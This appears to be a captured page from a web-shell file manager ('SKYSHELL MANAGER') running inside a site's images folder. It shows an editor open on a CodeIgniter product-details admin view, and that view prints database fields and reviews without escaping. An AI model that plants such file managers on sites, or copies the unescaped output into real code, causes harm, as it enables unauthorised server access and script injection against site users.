📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
ads
/
assets
/
images
/
Great-Features
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
25349 KB
0644
🗑️
⬇️
✏️
🔒
Editing: variables.php
<?php $this->load->view('manager/template/header'); ?> <?php $this->load->view('manager/template/nav'); ?> <!-- Rate Box --> <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js"></script> <link rel="stylesheet" href="<?php echo $user_url ?>rate/rate.css"> <script src="<?php echo $user_url ?>rate/rate.js"></script> <!-- Rate Box --> <!-- END: Main Menu--> <!-- START: Main Content--> <main> <div class="container-fluid site-width"> <!-- START: Breadcrumbs--> <div class="row"> <div class="col-12 align-self-center"> <div class="sub-header mt-3 py-3 align-self-center d-sm-flex w-100 rounded"> <div class="w-sm-100 mr-auto"> <h4 class="mb-0">Product Variations</h4> </div> <ol class="breadcrumb bg-transparent align-self-center m-0 p-0"> <li class="breadcrumb-item"><a href="<?php echo base_url() ?>">Home</a></li> <li class="breadcrumb-item"><a href="<?php echo base_url() ?>product_list">Stock List</a></li> <li class="breadcrumb-item active"><a href="#">Product Variations</a></li> </ol> </div> </div> </div> <!-- END: Breadcrumbs--> <?php $rev = $this->db->get_where('chb_review', array('chb_review.product_id' => $product['productId'])); $reviews = $rev->result_array(); $totalReviews = $rev->num_rows(); ?> <!-- START: Card Data--> <div class="row"> <div class="col-12 mt-3"> <?php if ($this->session->flashdata('alert_danger')) : echo '<p class="alert alert-danger" style="text-align:center;"><button type="button" class="close" data-dismiss="alert">×</button>' . $this->session->flashdata('alert_danger') . '</p>'; ?> <?php endif; ?> <?php if ($this->session->flashdata('alert_success')) : echo '<p class="alert alert-success" style="text-align:center;"><button type="button" class="close" data-dismiss="alert">×</button>' . $this->session->flashdata('alert_success') . '</p>'; ?> <?php endif; ?> <div class="card"> <div class="card-body"> <div class="row"> <div class="col-md-12 col-lg-4"> <img class="img-fluid" alt="product detail" src="<?php echo base_url() ?>assets/images/<?php echo $product['main_photo']; ?>"> </div> <div class="col-md-12 col-lg-4 text-center"> <a href="javascript:void(0);"><i class="fa fa-image fs_200"></i></a> </div> <div class="col-md-12 col-lg-4 text-center"> <a href="javascript:void(0);"><i class="fa fa-image fs_200"></i></a> </div> <div class="col-md-12 col-lg-7"> <div class="card-body border brd-gray border-top-0 border-right-0 border-left-0"> <h3 class="mb-0"><a href="#" class="f-weight-500 text-primary"><?php echo $product['product_name']; ?></a></h3> </div> <div class="card-body border border-top-0 border-right-0 border-left-0"> <div class="clearfix"> <div class="float-left mr-2"> <?php $this->db->select_sum('rating'); $sum_rating = $this->db->get_where('chb_rating', array('product_id' => $product['productId']))->row_array(); $tRaring = round($sum_rating['rating'] / 100 * 5); ?> <div id="generalRating"></div> <script> $("#generalRating").rate({ length: 5, value: <?php echo $tRaring ?>, readonly: true, size: '14px', selectClass: 'fxss_rate_select', incompleteClass: 'fxss_rate_no_all_select', customClass: 'custom_class', callback: function(object) { console.log(object.index); } }); </script> </div> <span>(<?php echo $totalReviews ?> customer reviews)</span> </div> </div> <div class="card-body border brd-gray border-top-0 border-right-0 border-left-0"> <div class="row"> <div class="col-12"> <div class="float-left"> <h4 title="Consumer Price" class="lato-font body-color mb-0">₦<?php echo number_format($product['consumer_price']); ?></h4> <small class="">Selling Price</small> <!--<del>$398.00 </del>--> </div> <div class="float-left ml-2"> <h4 title="Wholesale Price" class="lato-font mb-0 text-danger">₦<?php echo number_format($product['wholesale_price']); ?></h4> <small class="text-danger">Wholesale Price</small> </div> <div class="float-left ml-2"> <h4 title="Purchase Price" class="lato-font mb-0 text-warning">₦<?php echo number_format($product['purchase_price']); ?></h4><small class="text-warning">Cost Price</small> </div> </div> </div> </div> <div class="card-body border brd-gray border-top-0 border-right-0 border-left-0"> <p class="mb-0" lang="ca"><?php echo $product['productDesc']; ?></p> </div> <div class="card-body border brd-gray border-top-0 border-right-0 border-left-0"> <div class="d-inline-block"> <p class="dark-color f-weight-600">Size: </p> </div> <div class="d-inline-block"> <?php $tags = explode(',', $product['product_size']); for ($i = 0; $i < count($tags); $i++) { ?> <label class="chkbox ml-2"><?php echo str_replace(' ', '', $tags[$i]); ?> <input name="size" class="size" type="radio"> <span class="checkmark"></span> </label> <?php } ?> </div> </div> <div class="card-body border brd-gray border-top-0 border-right-0 border-left-0"> <div class="d-inline-block"> <p class="dark-color f-weight-600">Color: </p> </div> <div class="d-inline-block"> <span class="wColorWrapper flex-display"> <?php $tags = explode(',', $product['color']); for ($i = 0; $i < count($tags); $i++) { ?> <span class="colorCircle" style="height:8px; width:8px; background-color: <?php echo str_replace(' ', '', $tags[$i]); ?>;"></span> <?php } ?> </span> </div> </div> <div class="card-body"> <ul class="list-unstyled"> <li class="font-weight-bold dark-color mb-2">ID: <span class="body-color font-weight-normal"><?php echo $product['productId']; ?></span></li> <li class="font-weight-bold dark-color mb-2">Quantity: <span class="body-color font-weight-normal"><?php echo $product['quantity']; ?></span></li> <li class="font-weight-bold dark-color mb-2">Weight: <span class="body-color font-weight-normal"><?php echo $product['weight']; ?>Kg.</span></li> <li class="font-weight-bold dark-color mb-2">Brand: <span class="body-color font-weight-normal"><?php echo str_replace('-', ' ', $product['productBrand']); ?></span></li> <li class="font-weight-bold dark-color mb-2">Date Created: <span class="body-color font-weight-normal"><?php echo $product['date_created']; ?></span></li> <li class="font-weight-bold dark-color mb-2">Discount: <span class="body-color font-weight-normal"><?php echo $product['discount']; ?>%</span></li> <li class="font-weight-bold dark-color mb-2">Uploaded by: <span class="body-color font-weight-normal"><?php echo $product['name']; ?></span></li> <li class="font-weight-bold dark-color mb-2">Visibility: <span class="body-color font-weight-normal"> <?php if ($product['display'] == 1) { echo "<span class='badge outline-badge-success ml-2'>Active</span>"; } else { echo "<span class='badge outline-badge-danger ml-2'>Inactive</span>"; } ?> </span> </li> <li class="font-weight-bold dark-color mb-2">Category: <span class="body-color font-weight-normal"><?php echo $product['category']; ?></span></li> <li class="font-weight-bold dark-color mb-2">Sub Category: <span class="body-color font-weight-normal"><?php echo $product['subCategory']; ?></span></li> <li class="font-weight-bold dark-color mb-2">Tags: <span class="body-color font-weight-normal"> <?php echo $product['meta_keyword']; ?></span></li> <!-- <li class="font-weight-bold dark-color mb-2">Share: <a href="#" title="facebook" class="body-color mr-2"><i class="icon-social-facebook"></i></a> <a href="#" title="facebook" class="body-color mr-2"><i class="icon-social-twitter"></i></a> <a href="#" title="facebook" class="body-color mr-2"><i class="icon-social-dribbble"></i></a> <a href="#" title="facebook" class="body-color mr-2"><i class="icon-social-pinterest"></i></a> <a href="#" title="facebook" class="body-color mr-2"><i class="icon-social-linkedin"></i></a> </li> --> <li><a href="<?php echo base_url() ?>manager/editProduct/<?php echo $product['productId'] ?>" class="btn btn-secondary"><i class="fa fa-pen"></i> Edit this Product</a> <?php if ($product['display'] == 1) { ?> <span> <a class="btn btn-warning" href="<?php echo base_url() ?>manager/productDisplay/<?php echo $product['productId'] ?>_0"><i class="fa fa-eye-slash"></i>Hide Product</a> </span> <?php } else { ?> <span> <a class="btn btn-success" href="<?php echo base_url() ?>manager/productDisplay/<?php echo $product['productId'] ?>_1"><i class="fa fa-eye"></i>Show Product</a> </span> <?php } ?> <?php if ($product['inferior'] == 0) { ?> <span> <a class="btn btn-danger" href="<?php echo base_url() ?>manager/inferior/<?php echo $product['productId'] ?>_1"><i class="fa fa-burn"></i> Inferior Stock</a> </span> <?php } else { ?> <span> <a class="btn btn-success" href="<?php echo base_url() ?>manager/inferior/<?php echo $product['productId'] ?>_0"><i class="fa fa-check"></i> Valid Stock</a> </span> <?php } ?> </li> </ul> </div> </div> </div> </div> </div> </div> <div class="col-12 mt-3"> <div class="card"> <div class="card-body"> <div class="row"> <div class="col-md-12"> <ul class="nav nav-pills flex-column flex-sm-row justify-content-center "> <li class="nav-item"> <a class="nav-link body-color h6 mb-0 active" data-toggle="tab" href="#Description"> Description </a> </li> <li class="nav-item"> <a class="nav-link body-color h6 mb-0" data-toggle="tab" href="#Additional"> Meta Information</a> </li> <li class="nav-item"> <a class="nav-link body-color h6 mb-0" data-toggle="tab" href="#Reviews">Reviews (<?php echo $totalReviews ?>)</a> </li> </ul> <div class="tab-content mt-5" id="myTabContent"> <div class="tab-pane fade show active" id="Description" role="tabpanel" aria-labelledby="Description"> <div class="row"> <div class="col-md-12"> <p class="pb-3" lang="en"><?php echo $product['productDesc']; ?></p> </div> </div> </div> <div class="tab-pane fade" id="Additional" role="tabpanel" aria-labelledby="Additional"> <div class="row"> <div class="col-md-12"> <p class="pb-3" lang="en"><?php echo $product['meta_description']; ?> </p> </div> </div> </div> <div class="tab-pane fade" id="Reviews" role="tabpanel" aria-labelledby="Reviews"> <div class="row"> <div class="col-md-12"> <p class="pb-3" lang="en"> <?php $index = 0; foreach ($reviews as $review) { $index++; ?> <div class="review-box d-flex"> <div class="rv-img"> <img src="<?php echo base_url() ?>images/testimonial-1.jpg" alt=""> </div> <div class="rv-content"> <h6><?php echo $review['name'] ?> <span>(<?php echo $review['date'] ?>)</span></h6> <p><?php echo $review['review'] ?></p> </div> </div> <?php } ?> </p> </div> </div> </div> </div> </div> </div> </div> </div> </div> <div class="col-12 mt-3"> <div class="card"> <div class="card-body"> <div class="row justify-content-center"> <div class="col-md-8 text-center pb-4"> <div class="heading"> <h3 class="lato-font font-weight-bold"><a href="#" class="theme-color">#releted</a>Images</h3> <div class="custom-devider large mx-auto"></div> </div> </div> </div> <div class="row"> <?php $tags = explode(',', $product['productImages']); for ($i = 0; $i < count($tags); $i++) { ?> <div class="col-md-6 col-lg-3 mb-4"> <div class="position-relative"> <img src="<?php echo base_url() ?>assets/images/<?php echo str_replace(' ', '', $tags[$i]); ?>" alt="" class="img-fluid"> </div> </div> <?php } ?> </div> </div> </div> </div> </div> <!-- END: Card DATA--> </div> </main> <!-- END: Content--> <?php $this->load->view('manager/template/footer'); ?> <?php $this->load->view('manager/template/js_functions'); ?>
💾 Save Changes